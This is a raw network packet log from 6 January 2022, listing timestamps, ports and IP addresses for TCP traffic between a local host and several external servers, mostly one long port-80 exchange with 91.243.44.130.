Jan 6, 2022 21:04:53.825695038 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825700045 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825715065 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825737000 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825742960 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825759888 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825781107 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825783968 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825805902 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825824976 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825829983 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825851917 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825875044 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825875998 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825908899 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825927019 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825931072 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825953960 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825970888 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825978041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826003075 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826023102 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826028109 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826052904 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826069117 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826078892 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826105118 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826121092 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826128960 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826154947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826179028 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826179028 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826204062 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826225996 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826229095 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826252937 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826275110 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826277971 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826304913 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826325893 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826328039 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826354027 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826373100 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826379061 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826404095 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826425076 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826430082 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826457024 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826477051 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.826483011 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826509953 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.826533079 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.868604898 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.868670940 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.868710041 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.889789104 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.889843941 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.889879942 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.889883995 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.889923096 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.889951944 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.889964104 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890002012 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890013933 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890043020 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890084028 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890089989 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890121937 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890161991 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890170097 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890202045 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890240908 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890249014 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890280962 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890320063 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890325069 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890352011 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890393972 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890402079 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890433073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890472889 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890484095 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890512943 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890551090 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890563011 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890590906 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890631914 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890645027 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890671968 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890713930 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890726089 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890753031 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890793085 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890799999 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890832901 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890870094 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890880108 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.890908957 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890948057 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.890960932 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891004086 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891052008 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891058922 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891102076 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891140938 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891148090 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891181946 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891217947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891227961 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891257048 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891295910 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891303062 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891335011 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891375065 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891382933 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891413927 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891453028 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891459942 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891490936 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891527891 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891537905 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891566992 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891608000 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891623020 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891647100 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891686916 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891700029 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891724110 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891762972 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891773939 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891802073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891838074 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891853094 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891876936 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891915083 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891926050 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.891953945 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.891993999 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892005920 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892030954 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892071962 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892083883 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892112017 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892149925 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892158031 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892189980 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892227888 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892234087 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892266035 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892306089 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892318010 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892343044 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892381907 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892393112 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892421007 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892457008 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892469883 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892494917 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892534018 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892546892 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892600060 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892656088 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892657042 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892694950 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892733097 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892741919 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892774105 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892812014 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892826080 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.892874956 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892930031 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.892935991 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893002987 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893043041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893054008 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893146038 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893188953 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893227100 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893229961 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893265963 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893270969 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893305063 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893347979 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893352985 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893394947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893430948 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893452883 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893470049 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893520117 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893524885 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893579960 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893637896 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893661976 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.893697977 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.893754005 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932127953 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932194948 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932250023 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932260990 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932307959 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932363987 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932403088 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932425022 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932477951 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932516098 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932533979 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932606936 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932607889 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932666063 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932712078 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932718039 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932751894 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932790995 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932826996 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932830095 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932898998 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932899952 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.932936907 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932990074 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.932992935 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933031082 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933068991 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933082104 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933106899 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933145046 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933155060 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933183908 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933223009 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933232069 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933263063 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933300972 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933310032 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933341026 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933377981 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933391094 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933417082 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933455944 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933470964 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933495998 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933535099 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933553934 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933573961 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933614969 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933623075 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933655977 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933692932 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933705091 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933732033 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933769941 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933779955 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933806896 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933845997 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933855057 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933883905 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933923006 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.933932066 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.933963060 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934000015 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934011936 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934039116 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934078932 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934099913 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934115887 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934154034 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934170008 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934192896 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934231997 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934241056 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934287071 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934324980 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934334040 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934365034 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934405088 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934412956 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934442043 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934485912 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934489965 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934525013 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934561968 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934576035 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934602976 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934642076 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934657097 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934681892 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934720993 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934732914 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934760094 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934798956 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934807062 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934838057 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934875965 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934887886 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934915066 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934952974 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.934962034 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.934993029 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.935024023 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.935041904 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.976947069 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:56.141138077 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:56.168432951 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:04:56.168596029 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:56.235393047 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:56.416043043 CET	80	49857	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:56.416188002 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:56.416321993 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:56.416343927 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:56.596945047 CET	80	49857	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:56.617614985 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:56.645621061 CET	38133	49856	86.107.197.138	192.168.2.4
Jan 6, 2022 21:04:56.695959091 CET	49856	38133	192.168.2.4	86.107.197.138
Jan 6, 2022 21:04:56.976002932 CET	80	49857	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:56.976032972 CET	80	49857	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:56.976306915 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:56.976624966 CET	49857	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.006520987 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.157154083 CET	80	49857	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.183181047 CET	80	49858	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.183268070 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.183484077 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.183543921 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.360140085 CET	80	49858	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.360173941 CET	80	49858	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.751957893 CET	80	49858	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.752048969 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.752255917 CET	49858	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.781346083 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.928803921 CET	80	49858	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.952285051 CET	80	49859	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:57.952410936 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.952507973 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:57.952522993 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.123377085 CET	80	49859	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:58.494900942 CET	80	49859	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:58.495028019 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.495213032 CET	49859	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.522214890 CET	49860	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:58.591172934 CET	49861	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:04:58.650597095 CET	80	49861	185.7.214.239	192.168.2.4
Jan 6, 2022 21:04:58.651083946 CET	49861	80	192.168.2.4	185.7.214.239
